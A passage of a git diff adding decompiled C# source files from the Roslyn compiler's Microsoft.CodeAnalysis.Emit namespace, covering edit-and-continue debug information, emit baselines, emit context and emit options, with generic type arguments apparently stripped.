previousSizes, ImmutableArray deltaSizes) + { + AddReferencedTokens(builder, tableIndex, previousSizes[(int)tableIndex] + 1, deltaSizes[(int)tableIndex]); + } + + private static void AddReferencedTokens(ArrayBuilder builder, TableIndex tableIndex, int firstRowId, int nTokens) + { + for (int i = 0; i < nTokens; i++) + { + builder.Add(MetadataTokens.Handle(tableIndex, firstRowId + i)); + } + } + + private static void AddDefinitionTokens(ArrayBuilder tokens, DefinitionIndex index, TableIndex tableIndex) where T : class, IDefinition + { + foreach (T row in index.GetRows()) + { + tokens.Add(MetadataTokens.Handle(tableIndex, index.GetRowId(row))); + } + } + + private static void AddRowNumberTokens(ArrayBuilder tokens, IEnumerable rowNumbers, TableIndex tableIndex) + { + foreach (int rowNumber in rowNumbers) + { + tokens.Add(MetadataTokens.Handle(tableIndex, rowNumber)); + } + } + + protected override void PopulateEventMapTableRows() + { + foreach (int row in _eventMap.GetRows()) + { + metadata.AddEventMap(MetadataTokens.TypeDefinitionHandle(row), MetadataTokens.EventDefinitionHandle(_eventMap.GetRowId(row))); + } + } + + protected override void PopulatePropertyMapTableRows() + { + foreach (int row in _propertyMap.GetRows()) + { + metadata.AddPropertyMap(MetadataTokens.TypeDefinitionHandle(row), MetadataTokens.PropertyDefinitionHandle(_propertyMap.GetRowId(row))); + } + } + + private bool TryGetExistingTypeDefIndex(ITypeDefinition item, out int index) + { + if (_previousGeneration.TypesAdded.TryGetValue(item, out index)) + { + return true; + } + if (_definitionMap.TryGetTypeHandle(item, out var handle)) + { + index = MetadataTokens.GetRowNumber(handle); + return true; + } + index = 0; + return false; + } + + private bool TryGetExistingEventDefIndex(IEventDefinition item, out int index) + { + if (_previousGeneration.EventsAdded.TryGetValue(item, out index)) + { + return true; + } + if (_definitionMap.TryGetEventHandle(item, out var handle)) + { + index = MetadataTokens.GetRowNumber(handle); + return true; + } + index = 0; + return false; + } + + private bool TryGetExistingFieldDefIndex(IFieldDefinition item, out int index) + { + if (_previousGeneration.FieldsAdded.TryGetValue(item, out index)) + { + return true; + } + if (_definitionMap.TryGetFieldHandle(item, out var handle)) + { + index = MetadataTokens.GetRowNumber(handle); + return true; + } + index = 0; + return false; + } + + private bool TryGetExistingMethodDefIndex(IMethodDefinition item, out int index) + { + if (_previousGeneration.MethodsAdded.TryGetValue(item, out index)) + { + return true; + } + if (_definitionMap.TryGetMethodHandle(item, out var handle)) + { + index = MetadataTokens.GetRowNumber(handle); + return true; + } + index = 0; + return false; + } + + private bool TryGetExistingPropertyDefIndex(IPropertyDefinition item, out int index) + { + if (_previousGeneration.PropertiesAdded.TryGetValue(item, out index)) + { + return true; + } + if (_definitionMap.TryGetPropertyHandle(item, out var handle)) + { + index = MetadataTokens.GetRowNumber(handle); + return true; + } + index = 0; + return false; + } + + private bool TryGetExistingParameterDefIndex(IParameterDefinition item, out int index) + { + return _existingParameterDefs.TryGetValue(item, out index); + } + + private bool TryGetExistingEventMapIndex(int item, out int index) + { + if (_previousGeneration.EventMapAdded.TryGetValue(item, out index)) + { + return true; + } + if (_previousGeneration.TypeToEventMap.TryGetValue(item, out index)) + { + return true; + } + index = 0; + return false; + } + + private bool TryGetExistingPropertyMapIndex(int item, out int index) + { + if (_previousGeneration.PropertyMapAdded.TryGetValue(item, out index)) + { + return true; + } + if (_previousGeneration.TypeToPropertyMap.TryGetValue(item, out index)) + { + return true; + } + index = 0; + return false; + } + + private bool TryGetExistingMethodImplIndex(MethodImplKey item, out int index) + { + if (_previousGeneration.MethodImplsAdded.TryGetValue(item, out index)) + { + return true; + } + if (_previousGeneration.MethodImpls.TryGetValue(item, out index)) + { + return true; + } + index = 0; + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EditAndContinueMethodDebugInformation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EditAndContinueMethodDebugInformation.cs new file mode 100644 index 0000000..55157ef --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EditAndContinueMethodDebugInformation.cs @@ -0,0 +1,291 @@ +using System; +using System.Collections.Immutable; +using System.IO; +using System.Linq; +using System.Reflection.Metadata; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.Emit; + +public readonly struct EditAndContinueMethodDebugInformation +{ + internal readonly int MethodOrdinal; + + internal readonly ImmutableArray LocalSlots; + + internal readonly ImmutableArray Lambdas; + + internal readonly ImmutableArray Closures; + + internal readonly ImmutableArray StateMachineStates; + + private const byte SyntaxOffsetBaseline = byte.MaxValue; + + internal EditAndContinueMethodDebugInformation(int methodOrdinal, ImmutableArray localSlots, ImmutableArray closures, ImmutableArray lambdas, ImmutableArray stateMachineStates) + { + MethodOrdinal = methodOrdinal; + LocalSlots = localSlots; + Lambdas = lambdas; + Closures = closures; + StateMachineStates = stateMachineStates; + } + + public static EditAndContinueMethodDebugInformation Create(ImmutableArray compressedSlotMap, ImmutableArray compressedLambdaMap) + { + return Create(compressedSlotMap, compressedLambdaMap, default(ImmutableArray)); + } + + public static EditAndContinueMethodDebugInformation Create(ImmutableArray compressedSlotMap, ImmutableArray compressedLambdaMap, ImmutableArray compressedStateMachineStateMap) + { + UncompressLambdaMap(compressedLambdaMap, out var methodOrdinal, out var closures, out var lambdas); + return new EditAndContinueMethodDebugInformation(methodOrdinal, UncompressSlotMap(compressedSlotMap), closures, lambdas, UncompressStateMachineStates(compressedStateMachineStateMap)); + } + + private static InvalidDataException CreateInvalidDataException(ImmutableArray data, int offset) + { + int num = Math.Max(0, offset - 512); + int num2 = Math.Min(data.Length, offset + 512); + byte[] array = new byte[offset - num]; + data.CopyTo(num, array, 0, array.Length); + byte[] array2 = new byte[num2 - offset]; + data.CopyTo(offset, array2, 0, array2.Length); + throw new InvalidDataException(string.Format(CodeAnalysisResources.InvalidDataAtOffset, new object[5] + { + offset, + (num != 0) ? "..." : "", + BitConverter.ToString(array), + BitConverter.ToString(array2), + (num2 != data.Length) ? "..." : "" + })); + } + + private unsafe static ImmutableArray UncompressSlotMap(ImmutableArray compressedSlotMap) + { + if (compressedSlotMap.IsDefaultOrEmpty) + { + return default(ImmutableArray); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + int num = -1; + fixed (byte* buffer = &compressedSlotMap.ToArray()[0]) + { + BlobReader blobReader = new BlobReader(buffer, compressedSlotMap.Length); + while (blobReader.RemainingBytes > 0) + { + try + { + byte b = blobReader.ReadByte(); + switch (b) + { + case byte.MaxValue: + num = -blobReader.ReadCompressedInteger(); + continue; + case 0: + instance.Add(new LocalSlotDebugInfo(SynthesizedLocalKind.LoweringTemp, default(LocalDebugId))); + continue; + } + SynthesizedLocalKind synthesizedKind = (SynthesizedLocalKind)((b & 0x3F) - 1); + bool num2 = (b & 0x80) != 0; + int syntaxOffset = blobReader.ReadCompressedInteger() + num; + int ordinal = (num2 ? blobReader.ReadCompressedInteger() : 0); + instance.Add(new LocalSlotDebugInfo(synthesizedKind, new LocalDebugId(syntaxOffset, ordinal))); + } + catch (BadImageFormatException) + { + throw CreateInvalidDataException(compressedSlotMap, blobReader.Offset); + } + } + } + return instance.ToImmutableAndFree(); + } + + internal void SerializeLocalSlots(BlobBuilder writer) + { + int num = -1; + ImmutableArray.Enumerator enumerator = LocalSlots.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSlotDebugInfo current = enumerator.Current; + if (current.Id.SyntaxOffset < num) + { + num = current.Id.SyntaxOffset; + } + } + if (num != -1) + { + writer.WriteByte(byte.MaxValue); + writer.WriteCompressedInteger(-num); + } + enumerator = LocalSlots.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSlotDebugInfo current2 = enumerator.Current; + SynthesizedLocalKind synthesizedKind = current2.SynthesizedKind; + if (!synthesizedKind.IsLongLived()) + { + writer.WriteByte(0); + continue; + } + byte b = (byte)(synthesizedKind + 1); + bool num2 = current2.Id.Ordinal > 0; + if (num2) + { + b |= 0x80; + } + writer.WriteByte(b); + writer.WriteCompressedInteger(current2.Id.SyntaxOffset - num); + if (num2) + { + writer.WriteCompressedInteger(current2.Id.Ordinal); + } + } + } + + private unsafe static void UncompressLambdaMap(ImmutableArray compressedLambdaMap, out int methodOrdinal, out ImmutableArray closures, out ImmutableArray lambdas) + { + methodOrdinal = -1; + closures = default(ImmutableArray); + lambdas = default(ImmutableArray); + if (compressedLambdaMap.IsDefaultOrEmpty) + { + return; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + fixed (byte* buffer = &compressedLambdaMap.ToArray()[0]) + { + BlobReader blobReader = new BlobReader(buffer, compressedLambdaMap.Length); + try + { + methodOrdinal = blobReader.ReadCompressedInteger() - 1; + int num = -blobReader.ReadCompressedInteger(); + int num2 = blobReader.ReadCompressedInteger(); + for (int i = 0; i < num2; i++) + { + int num3 = blobReader.ReadCompressedInteger(); + DebugId closureId = new DebugId(instance.Count, 0); + instance.Add(new ClosureDebugInfo(num3 + num, closureId)); + } + while (blobReader.RemainingBytes > 0) + { + int num4 = blobReader.ReadCompressedInteger(); + int num5 = blobReader.ReadCompressedInteger() + -2; + if (num5 >= num2) + { + throw CreateInvalidDataException(compressedLambdaMap, blobReader.Offset); + } + DebugId lambdaId = new DebugId(instance2.Count, 0); + instance2.Add(new LambdaDebugInfo(num4 + num, lambdaId, num5)); + } + } + catch (BadImageFormatException) + { + throw CreateInvalidDataException(compressedLambdaMap, blobReader.Offset); + } + } + closures = instance.ToImmutableAndFree(); + lambdas = instance2.ToImmutableAndFree(); + } + + internal void SerializeLambdaMap(BlobBuilder writer) + { + writer.WriteCompressedInteger(MethodOrdinal + 1); + int num = -1; + ImmutableArray.Enumerator enumerator = Closures.GetEnumerator(); + while (enumerator.MoveNext()) + { + ClosureDebugInfo current = enumerator.Current; + if (current.SyntaxOffset < num) + { + num = current.SyntaxOffset; + } + } + ImmutableArray.Enumerator enumerator2 = Lambdas.GetEnumerator(); + while (enumerator2.MoveNext()) + { + LambdaDebugInfo current2 = enumerator2.Current; + if (current2.SyntaxOffset < num) + { + num = current2.SyntaxOffset; + } + } + writer.WriteCompressedInteger(-num); + writer.WriteCompressedInteger(Closures.Length); + enumerator = Closures.GetEnumerator(); + while (enumerator.MoveNext()) + { + writer.WriteCompressedInteger(enumerator.Current.SyntaxOffset - num); + } + enumerator2 = Lambdas.GetEnumerator(); + while (enumerator2.MoveNext()) + { + LambdaDebugInfo current3 = enumerator2.Current; + writer.WriteCompressedInteger(current3.SyntaxOffset - num); + writer.WriteCompressedInteger(current3.ClosureOrdinal - -2); + } + } + + private unsafe static ImmutableArray UncompressStateMachineStates(ImmutableArray compressedStateMachineStates) + { + if (compressedStateMachineStates.IsDefaultOrEmpty) + { + return default(ImmutableArray); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + fixed (byte* buffer = &compressedStateMachineStates.ToArray()[0]) + { + BlobReader blobReader = new BlobReader(buffer, compressedStateMachineStates.Length); + try + { + int num = blobReader.ReadCompressedInteger(); + if (num > 0) + { + int num2 = -blobReader.ReadCompressedInteger(); + int num3 = int.MinValue; + int num4 = 0; + while (num > 0) + { + int stateNumber = blobReader.ReadCompressedSignedInteger(); + int num5 = num2 + blobReader.ReadCompressedInteger(); + if (num5 < num3) + { + throw CreateInvalidDataException(compressedStateMachineStates, blobReader.Offset); + } + num4 = ((num5 == num3) ? (num4 + 1) : 0); + if (num4 > 255) + { + throw CreateInvalidDataException(compressedStateMachineStates, blobReader.Offset); + } + instance.Add(new StateMachineStateDebugInfo(num5, new AwaitDebugId((byte)num4), (StateMachineState)stateNumber)); + num--; + num3 = num5; + } + } + } + catch (BadImageFormatException) + { + throw CreateInvalidDataException(compressedStateMachineStates, blobReader.Offset); + } + } + return instance.ToImmutableAndFree(); + } + + internal void SerializeStateMachineStates(BlobBuilder writer) + { + writer.WriteCompressedInteger(StateMachineStates.Length); + if (StateMachineStates.Length <= 0) + { + return; + } + int num = Math.Min(StateMachineStates.Min((StateMachineStateDebugInfo state) => state.SyntaxOffset), 0); + writer.WriteCompressedInteger(-num); + foreach (StateMachineStateDebugInfo item in from s in StateMachineStates + orderby s.SyntaxOffset, s.AwaitId.RelativeStateOrdinal + select s) + { + writer.WriteCompressedSignedInteger((int)item.StateNumber); + writer.WriteCompressedInteger(item.SyntaxOffset - num); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EmitBaseline.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EmitBaseline.cs new file mode 100644 index 0000000..c962587 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EmitBaseline.cs @@ -0,0 +1,278 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using System.Linq; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; +using System.Reflection.PortableExecutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Emit; + +public sealed class EmitBaseline +{ + internal sealed class MetadataSymbols(SynthesizedTypeMaps synthesizedTypes, object metadataDecoder, ImmutableDictionary assemblyReferenceIdentityMap) + { + public readonly SynthesizedTypeMaps SynthesizedTypes = synthesizedTypes; + + public readonly object MetadataDecoder = metadataDecoder; + + public readonly ImmutableDictionary AssemblyReferenceIdentityMap = assemblyReferenceIdentityMap; + } + + private static readonly ImmutableArray s_emptyTableSizes = ImmutableArray.Create(new int[MetadataTokens.TableCount]); + + internal MetadataSymbols? LazyMetadataSymbols; + + internal readonly Compilation? Compilation; + + internal readonly CommonPEModuleBuilder? PEModuleBuilder; + + internal readonly Guid ModuleVersionId; + + internal readonly bool HasPortablePdb; + + internal readonly int Ordinal; + + internal readonly Guid EncId; + + internal readonly IReadOnlyDictionary GenerationOrdinals; + + internal readonly IReadOnlyDictionary TypesAdded; + + internal readonly IReadOnlyDictionary EventsAdded; + + internal readonly IReadOnlyDictionary FieldsAdded; + + internal readonly IReadOnlyDictionary MethodsAdded; + + internal readonly IReadOnlyDictionary FirstParamRowMap; + + internal readonly IReadOnlyDictionary PropertiesAdded; + + internal readonly IReadOnlyDictionary EventMapAdded; + + internal readonly IReadOnlyDictionary PropertyMapAdded; + + internal readonly IReadOnlyDictionary MethodImplsAdded; + + internal readonly IReadOnlyDictionary> CustomAttributesAdded; + + internal readonly ImmutableArray TableEntriesAdded; + + internal readonly int BlobStreamLengthAdded; + + internal readonly int StringStreamLengthAdded; + + internal readonly int UserStringStreamLengthAdded; + + internal readonly int GuidStreamLengthAdded; + + internal readonly IReadOnlyDictionary AddedOrChangedMethods; + + internal readonly Func DebugInformationProvider; + + internal readonly Func LocalSignatureProvider; + + internal readonly ImmutableArray TableSizes; + + internal readonly IReadOnlyDictionary TypeToEventMap; + + internal readonly IReadOnlyDictionary TypeToPropertyMap; + + internal readonly IReadOnlyDictionary MethodImpls; + + private readonly SynthesizedTypeMaps _synthesizedTypes; + + internal readonly ImmutableDictionary> SynthesizedMembers; + + internal readonly ImmutableDictionary> DeletedMembers; + + internal EmitBaseline InitialBaseline { get; } + + public ModuleMetadata OriginalMetadata { get; } + + internal SynthesizedTypeMaps SynthesizedTypes + { + get + { + if (Ordinal > 0) + { + return _synthesizedTypes; + } + return LazyMetadataSymbols.SynthesizedTypes; + } + } + + internal MetadataReader MetadataReader => OriginalMetadata.MetadataReader; + + internal int BlobStreamLength => BlobStreamLengthAdded + MetadataReader.GetHeapSize(HeapIndex.Blob); + + internal int StringStreamLength => StringStreamLengthAdded + MetadataReader.GetHeapSize(HeapIndex.String); + + internal int UserStringStreamLength => UserStringStreamLengthAdded + MetadataReader.GetHeapSize(HeapIndex.UserString); + + internal int GuidStreamLength => GuidStreamLengthAdded + MetadataReader.GetHeapSize(HeapIndex.Guid); + + public static EmitBaseline CreateInitialBaseline(ModuleMetadata module, Func debugInformationProvider) + { + if (module == null) + { + throw new ArgumentNullException("module"); + } + if (!module.Module.HasIL) + { + throw new ArgumentException(CodeAnalysisResources.PEImageNotAvailable, "module"); + } + return CreateInitialBaseline(hasPortableDebugInformation: module.Module.PEReaderOpt.ReadDebugDirectory().Any((DebugDirectoryEntry entry) => entry.IsPortableCodeView), localSignatureProvider: delegate(MethodDefinitionHandle methodHandle) + { + try + { + return module.Module.GetMethodBodyOrThrow(methodHandle)?.LocalSignature ?? default(StandaloneSignatureHandle); + } + catch (Exception ex) when (ex is BadImageFormatException || ex is IOException) + { + throw new InvalidDataException(ex.Message, ex); + } + }, module: module, debugInformationProvider: debugInformationProvider); + } + + public static EmitBaseline CreateInitialBaseline(ModuleMetadata module, Func debugInformationProvider, Func localSignatureProvider, bool hasPortableDebugInformation) + { + if (module == null) + { + throw new ArgumentNullException("module"); + } + if (debugInformationProvider == null) + { + throw new ArgumentNullException("debugInformationProvider"); + } + if (localSignatureProvider == null) + { + throw new ArgumentNullException("localSignatureProvider"); + } + MetadataReader metadataReader = module.MetadataReader; + return new EmitBaseline(null, module, null, null, module.GetModuleVersionId(), 0, default(Guid), hasPortableDebugInformation, new Dictionary(), new Dictionary(), new Dictionary(), new Dictionary(), new Dictionary(), new Dictionary(), new Dictionary(), new Dictionary(), new Dictionary(), new Dictionary(), new Dictionary>(), s_emptyTableSizes, 0, 0, 0, 0, SynthesizedTypeMaps.Empty, ImmutableDictionary>.Empty, ImmutableDictionary>.Empty, new Dictionary(), debugInformationProvider, localSignatureProvider, CalculateTypeEventMap(metadataReader), CalculateTypePropertyMap(metadataReader), CalculateMethodImpls(metadataReader)); + } + + private EmitBaseline(EmitBaseline? initialBaseline, ModuleMetadata module, Compilation? compilation, CommonPEModuleBuilder? moduleBuilder, Guid moduleVersionId, int ordinal, Guid encId, bool hasPortablePdb, IReadOnlyDictionary generationOrdinals, IReadOnlyDictionary typesAdded, IReadOnlyDictionary eventsAdded, IReadOnlyDictionary fieldsAdded, IReadOnlyDictionary methodsAdded, IReadOnlyDictionary firstParamRowMap, IReadOnlyDictionary propertiesAdded, IReadOnlyDictionary eventMapAdded, IReadOnlyDictionary propertyMapAdded, IReadOnlyDictionary methodImplsAdded, IReadOnlyDictionary> customAttributesAdded, ImmutableArray tableEntriesAdded, int blobStreamLengthAdded, int stringStreamLengthAdded, int userStringStreamLengthAdded, int guidStreamLengthAdded, SynthesizedTypeMaps synthesizedTypes, ImmutableDictionary> synthesizedMembers, ImmutableDictionary> deletedMembers, IReadOnlyDictionary methodsAddedOrChanged, Func debugInformationProvider, Func localSignatureProvider, IReadOnlyDictionary typeToEventMap, IReadOnlyDictionary typeToPropertyMap, IReadOnlyDictionary methodImpls) + { + MetadataReader metadataReader = module.Module.MetadataReader; + InitialBaseline = initialBaseline ?? this; + OriginalMetadata = module; + Compilation = compilation; + PEModuleBuilder = moduleBuilder; + ModuleVersionId = moduleVersionId; + Ordinal = ordinal; + EncId = encId; + HasPortablePdb = hasPortablePdb; + GenerationOrdinals = generationOrdinals; + TypesAdded = typesAdded; + EventsAdded = eventsAdded; + FieldsAdded = fieldsAdded; + MethodsAdded = methodsAdded; + FirstParamRowMap = firstParamRowMap; + PropertiesAdded = propertiesAdded; + EventMapAdded = eventMapAdded; + PropertyMapAdded = propertyMapAdded; + MethodImplsAdded = methodImplsAdded; + CustomAttributesAdded = customAttributesAdded; + TableEntriesAdded = tableEntriesAdded; + BlobStreamLengthAdded = blobStreamLengthAdded; + StringStreamLengthAdded = stringStreamLengthAdded; + UserStringStreamLengthAdded = userStringStreamLengthAdded; + GuidStreamLengthAdded = guidStreamLengthAdded; + _synthesizedTypes = synthesizedTypes; + SynthesizedMembers = synthesizedMembers; + DeletedMembers = deletedMembers; + AddedOrChangedMethods = methodsAddedOrChanged; + DebugInformationProvider = debugInformationProvider; + LocalSignatureProvider = localSignatureProvider; + TableSizes = CalculateTableSizes(metadataReader, TableEntriesAdded); + TypeToEventMap = typeToEventMap; + TypeToPropertyMap = typeToPropertyMap; + MethodImpls = methodImpls; + } + + internal EmitBaseline With(Compilation compilation, CommonPEModuleBuilder moduleBuilder, int ordinal, Guid encId, IReadOnlyDictionary generationOrdinals, IReadOnlyDictionary typesAdded, IReadOnlyDictionary eventsAdded, IReadOnlyDictionary fieldsAdded, IReadOnlyDictionary methodsAdded, IReadOnlyDictionary firstParamRowMap, IReadOnlyDictionary propertiesAdded, IReadOnlyDictionary eventMapAdded, IReadOnlyDictionary propertyMapAdded, IReadOnlyDictionary methodImplsAdded, IReadOnlyDictionary> customAttributesAdded, ImmutableArray tableEntriesAdded, int blobStreamLengthAdded, int stringStreamLengthAdded, int userStringStreamLengthAdded, int guidStreamLengthAdded, SynthesizedTypeMaps synthesizedTypes, ImmutableDictionary> synthesizedMembers, ImmutableDictionary> deletedMembers, IReadOnlyDictionary addedOrChangedMethods, Func debugInformationProvider, Func localSignatureProvider) + { + return new EmitBaseline(InitialBaseline, OriginalMetadata, compilation, moduleBuilder, ModuleVersionId, ordinal, encId, HasPortablePdb, generationOrdinals, typesAdded, eventsAdded, fieldsAdded, methodsAdded, firstParamRowMap, propertiesAdded, eventMapAdded, propertyMapAdded, methodImplsAdded, customAttributesAdded, tableEntriesAdded, blobStreamLengthAdded, stringStreamLengthAdded, userStringStreamLengthAdded, guidStreamLengthAdded, synthesizedTypes, synthesizedMembers, deletedMembers, addedOrChangedMethods, debugInformationProvider, localSignatureProvider, TypeToEventMap, TypeToPropertyMap, MethodImpls); + } + + private static ImmutableArray CalculateTableSizes(MetadataReader reader, ImmutableArray delta) + { + int[] array = new int[MetadataTokens.TableCount]; + for (int i = 0; i < array.Length; i++) + { + array[i] = reader.GetTableRowCount((TableIndex)i) + delta[i]; + } + return ImmutableArray.Create(array); + } + + private static Dictionary CalculateTypePropertyMap(MetadataReader reader) + { + Dictionary dictionary = new Dictionary(); + int num = 1; + foreach (TypeDefinitionHandle typesWithProperty in reader.GetTypesWithProperties()) + { + dictionary.Add(reader.GetRowNumber(typesWithProperty), num); + num++; + } + return dictionary; + } + + private static Dictionary CalculateTypeEventMap(MetadataReader reader) + { + Dictionary dictionary = new Dictionary(); + int num = 1; + foreach (TypeDefinitionHandle typesWithEvent in reader.GetTypesWithEvents()) + { + dictionary.Add(reader.GetRowNumber(typesWithEvent), num); + num++; + } + return dictionary; + } + + private static Dictionary CalculateMethodImpls(MetadataReader reader) + { + Dictionary dictionary = new Dictionary(); + int tableRowCount = reader.GetTableRowCount(TableIndex.MethodImpl); + for (int i = 1; i <= tableRowCount; i++) + { + int rowNumber = MetadataTokens.GetRowNumber(reader.GetMethodImplementation(MetadataTokens.MethodImplementationHandle(i)).MethodBody); + int num = 1; + MethodImplKey key; + while (true) + { + key = new MethodImplKey(rowNumber, num); + if (!dictionary.ContainsKey(key)) + { + break; + } + num++; + } + dictionary.Add(key, i); + } + return dictionary; + } + + internal int GetNextAnonymousTypeIndex(bool fromDelegates = false) + { + int num = 0; + foreach (var (anonymousTypeKey2, anonymousTypeValue2) in SynthesizedTypes.AnonymousTypes) + { + if (fromDelegates == anonymousTypeKey2.IsDelegate) + { + int uniqueIndex = anonymousTypeValue2.UniqueIndex; + if (uniqueIndex >= num) + { + num = uniqueIndex + 1; + } + } + } + return num; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EmitContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EmitContext.cs new file mode 100644 index 0000000..17c2899 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EmitContext.cs @@ -0,0 +1,103 @@ +using System; + +namespace Microsoft.CodeAnalysis.Emit; + +internal readonly struct EmitContext +{ + [Flags] + private enum Flags + { + None = 0, + MetadataOnly = 1, + IncludePrivateMembers = 2 + } + + public readonly CommonPEModuleBuilder Module; + + private readonly SyntaxNode? _syntaxNode; + + public readonly SyntaxReference? SyntaxReference; + + public readonly RebuildData? RebuildData; + + public readonly DiagnosticBag Diagnostics; + + private readonly Flags _flags; + + public bool IncludePrivateMembers => (_flags & Flags.IncludePrivateMembers) != 0; + + public bool MetadataOnly => (_flags & Flags.MetadataOnly) != 0; + + public bool IsRefAssembly + { + get + { + if (MetadataOnly) + { + return !IncludePrivateMembers; + } + return false; + } + } + + public SyntaxNode? SyntaxNode + { + get + { + SyntaxNode syntaxNode = _syntaxNode; + if (syntaxNode == null) + { + SyntaxReference? syntaxReference = SyntaxReference; + if (syntaxReference == null) + { + return null; + } + syntaxNode = syntaxReference.GetSyntax(); + } + return syntaxNode; + } + } + + public Location? Location + { + get + { + object obj = _syntaxNode?.Location; + if (obj == null) + { + SyntaxReference? syntaxReference = SyntaxReference; + if (syntaxReference == null) + { + return null; + } + obj = syntaxReference.GetLocation(); + } + return (Location?)obj; + } + } + + public EmitContext(CommonPEModuleBuilder module, SyntaxNode? syntaxNode, DiagnosticBag diagnostics, bool metadataOnly, bool includePrivateMembers) + : this(module, diagnostics, metadataOnly, includePrivateMembers, syntaxNode) + { + } + + public EmitContext(CommonPEModuleBuilder module, DiagnosticBag diagnostics, bool metadataOnly, bool includePrivateMembers, SyntaxNode? syntaxNode = null, RebuildData? rebuildData = null, SyntaxReference? syntaxReference = null) + { + RebuildData = rebuildData; + Module = module; + _syntaxNode = syntaxNode; + SyntaxReference = syntaxReference; + RebuildData = rebuildData; + Diagnostics = diagnostics; + Flags flags = Flags.None; + if (metadataOnly) + { + flags |= Flags.MetadataOnly; + } + if (includePrivateMembers) + { + flags |= Flags.IncludePrivateMembers; + } + _flags = flags; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EmitDifferenceResult.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EmitDifferenceResult.cs new file mode 100644 index 0000000..605a76d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EmitDifferenceResult.cs @@ -0,0 +1,21 @@ +using System.Collections.Immutable; +using System.Reflection.Metadata; + +namespace Microsoft.CodeAnalysis.Emit; + +public sealed class EmitDifferenceResult : EmitResult +{ + public EmitBaseline? Baseline { get; } + + public ImmutableArray UpdatedMethods { get; } + + public ImmutableArray ChangedTypes { get; } + + internal EmitDifferenceResult(bool success, ImmutableArray diagnostics, EmitBaseline? baseline, ImmutableArray updatedMethods, ImmutableArray changedTypes) + : base(success, diagnostics) + { + Baseline = baseline; + UpdatedMethods = updatedMethods; + ChangedTypes = changedTypes; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EmitOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EmitOptions.cs new file mode 100644 index 0000000..54ba80e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EmitOptions.cs @@ -0,0 +1,363 @@ +using System; +using System.Collections.Immutable; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Emit; + +public sealed class EmitOptions : IEquatable +{ + internal static readonly EmitOptions Default = (PlatformInformation.IsWindows ? new EmitOptions(metadataOnly: false, (DebugInformationFormat)0, null, null, 0, 0uL) : new EmitOptions(metadataOnly: false, (DebugInformationFormat)0, null, null, 0, 0uL).WithDebugInformationFormat(DebugInformationFormat.PortablePdb)); + + private bool _testOnly_AllowLocalStateTracing; + + public bool EmitMetadataOnly { get; private set; } + + public bool TolerateErrors { get; private set; } + + public bool IncludePrivateMembers { get; private set; } + + public ImmutableArray InstrumentationKinds { get; private set; } + + public SubsystemVersion SubsystemVersion { get; private set; } + + public int FileAlignment { get; private set; } + + public bool HighEntropyVirtualAddressSpace { get; private set; } + + public ulong BaseAddress { get; private set; } + + public DebugInformationFormat DebugInformationFormat { get; private set; } + + public string? OutputNameOverride { get; private set; } + + public string? PdbFilePath { get; private set; } + + public HashAlgorithmName PdbChecksumAlgorithm { get; private set; } + + public string? RuntimeMetadataVersion { get; private set; } + + public Encoding? DefaultSourceFileEncoding { get; private set; } + + public Encoding? FallbackSourceFileEncoding { get; private set; } + + public EmitOptions(bool metadataOnly, DebugInformationFormat debugInformationFormat, string pdbFilePath, string outputNameOverride, int fileAlignment, ulong baseAddress, bool highEntropyVirtualAddressSpace, SubsystemVersion subsystemVersion, string runtimeMetadataVersion, bool tolerateErrors, bool includePrivateMembers) + : this(metadataOnly, debugInformationFormat, pdbFilePath, outputNameOverride, fileAlignment, baseAddress, highEntropyVirtualAddressSpace, subsystemVersion, runtimeMetadataVersion, tolerateErrors, includePrivateMembers, ImmutableArray.Empty) + { + } + + public EmitOptions(bool metadataOnly, DebugInformationFormat debugInformationFormat, string pdbFilePath, string outputNameOverride, int fileAlignment, ulong baseAddress, bool highEntropyVirtualAddressSpace, SubsystemVersion subsystemVersion, string runtimeMetadataVersion, bool tolerateErrors, bool includePrivateMembers, ImmutableArray instrumentationKinds) + : this(metadataOnly, debugInformationFormat, pdbFilePath, outputNameOverride, fileAlignment, baseAddress, highEntropyVirtualAddressSpace, subsystemVersion, runtimeMetadataVersion, tolerateErrors, includePrivateMembers, instrumentationKinds, null) + { + } + + public EmitOptions(bool metadataOnly, DebugInformationFormat debugInformationFormat, string? pdbFilePath, string? outputNameOverride, int fileAlignment, ulong baseAddress, bool highEntropyVirtualAddressSpace, SubsystemVersion subsystemVersion, string? runtimeMetadataVersion, bool tolerateErrors, bool includePrivateMembers, 